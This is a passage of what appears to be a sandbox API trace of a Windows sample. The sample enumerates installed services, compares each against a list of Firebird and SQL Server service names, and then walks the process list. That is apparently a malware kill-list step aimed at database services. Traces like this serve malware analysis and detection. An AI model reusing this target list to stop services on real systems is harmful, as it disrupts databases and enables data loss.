	[0157.875] lstrlenW (lpString="AppXSvc") returned 7
	[0157.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0157.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0157.875] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0157.875] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0157.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0157.875] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0157.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0157.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0157.875] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0157.875] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0157.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0157.875] lstrlenW (lpString="Audiosrv") returned 8
	[0157.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0157.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0157.875] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0157.875] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0157.876] lstrlenW (lpString="BFE") returned 3
	[0157.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0157.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0157.876] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0157.876] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0157.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0157.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0157.876] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0157.876] lstrlenW (lpString="CDPSvc") returned 6
	[0157.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0157.876] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0157.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0157.876] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0157.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0157.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0157.876] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0157.876] lstrlenW (lpString="CryptSvc") returned 8
	[0157.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0157.876] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0157.877] lstrlenW (lpString="DcomLaunch") returned 10
	[0157.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0157.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0157.877] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0157.877] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0157.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0157.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0157.877] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0157.877] lstrlenW (lpString="Dhcp") returned 4
	[0157.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0157.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0157.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0157.877] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0157.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0157.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0157.877] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0157.877] lstrlenW (lpString="Dnscache") returned 8
	[0157.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0157.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0157.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0157.877] lstrlenW (lpString="DPS") returned 3
	[0157.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0157.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0157.877] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0157.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0157.878] lstrlenW (lpString="DusmSvc") returned 7
	[0157.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0157.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0157.878] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0157.878] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0157.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0157.878] lstrlenW (lpString="EventLog") returned 8
	[0157.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0157.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0157.878] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0157.878] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0157.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0157.878] lstrlenW (lpString="EventSystem") returned 11
	[0157.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0157.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0157.878] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0157.878] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0157.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0157.878] lstrlenW (lpString="FontCache") returned 9
	[0157.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0157.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0157.878] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0157.878] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0157.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0157.878] lstrlenW (lpString="gpsvc") returned 5
	[0157.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0157.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0157.878] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0157.878] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0157.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0157.878] lstrlenW (lpString="iphlpsvc") returned 8
	[0157.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0157.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0157.878] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0157.878] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0157.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0157.879] lstrlenW (lpString="KeyIso") returned 6
	[0157.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0157.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0157.879] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0157.879] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0157.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0157.879] lstrlenW (lpString="LanmanServer") returned 12
	[0157.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0157.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0157.879] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0157.879] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0157.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0157.879] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0157.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0157.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0157.879] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0157.879] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0157.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0157.879] lstrlenW (lpString="lfsvc") returned 5
	[0157.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0157.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0157.879] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0157.879] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0157.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0157.879] lstrlenW (lpString="lmhosts") returned 7
	[0157.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0157.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0157.879] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0157.879] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0157.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0157.879] lstrlenW (lpString="LSM") returned 3
	[0157.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0157.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0157.879] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0157.879] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0157.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0157.880] lstrlenW (lpString="MpsSvc") returned 6
	[0157.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0157.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0157.880] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0157.880] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0157.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0157.880] lstrlenW (lpString="NcbService") returned 10
	[0157.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0157.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0157.880] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0157.880] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0157.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0157.880] lstrlenW (lpString="netprofm") returned 8
	[0157.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0157.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0157.880] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0157.880] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0157.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0157.881] lstrlenW (lpString="NgcSvc") returned 6
	[0157.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0157.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0157.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0157.881] lstrlenW (lpString="NlaSvc") returned 6
	[0157.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0157.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0157.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0157.881] lstrlenW (lpString="nsi") returned 3
	[0157.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0157.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0157.881] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0157.881] lstrlenW (lpString="PcaSvc") returned 6
	[0157.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0157.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0157.881] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0157.881] lstrlenW (lpString="PlugPlay") returned 8
	[0157.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0157.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0157.881] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0157.881] lstrlenW (lpString="Power") returned 5
	[0157.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0157.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0157.881] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0157.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0157.881] lstrlenW (lpString="ProfSvc") returned 7
	[0157.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0157.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0157.882] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0157.882] lstrlenW (lpString="RpcEptMapper") returned 12
	[0157.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0157.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0157.882] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0157.882] lstrlenW (lpString="RpcSs") returned 5
	[0157.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0157.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0157.882] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0157.882] lstrlenW (lpString="SamSs") returned 5
	[0157.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0157.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0157.882] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0157.882] lstrlenW (lpString="Schedule") returned 8
	[0157.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0157.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0157.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0157.882] lstrlenW (lpString="SecurityHealthService") returned 21
	[0157.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0157.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0157.882] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0157.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0157.882] lstrlenW (lpString="SENS") returned 4
	[0157.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0157.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0157.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0157.883] lstrlenW (lpString="ShellHWDetection") returned 16
	[0157.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0157.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0157.883] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0157.883] lstrlenW (lpString="Spooler") returned 7
	[0157.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0157.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0157.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0157.883] lstrlenW (lpString="StateRepository") returned 15
	[0157.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0157.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0157.883] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0157.883] lstrlenW (lpString="SysMain") returned 7
	[0157.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0157.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0157.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0157.883] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0157.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0157.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0157.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0157.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0157.883] lstrlenW (lpString="Themes") returned 6
	[0157.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0157.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0157.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0157.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0157.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0157.884] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0157.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0157.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0157.884] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0157.884] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0157.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ba4e0 | out: hHeap=0x5a0000) returned 1
	[0157.884] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c0
	[0157.994] Process32FirstW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0157.994] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0157.994] lstrlenW (lpString="System") returned 6
	[0157.994] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0157.995] lstrlenW (lpString="smss.exe") returned 8
	[0157.995] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0157.995] lstrlenW (lpString="csrss.exe") returned 9
	[0157.995] Process32NextW (in: hSnapshot=0x4c0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0157.996] lstrlenW (lpString="wininit.exe") returned 11
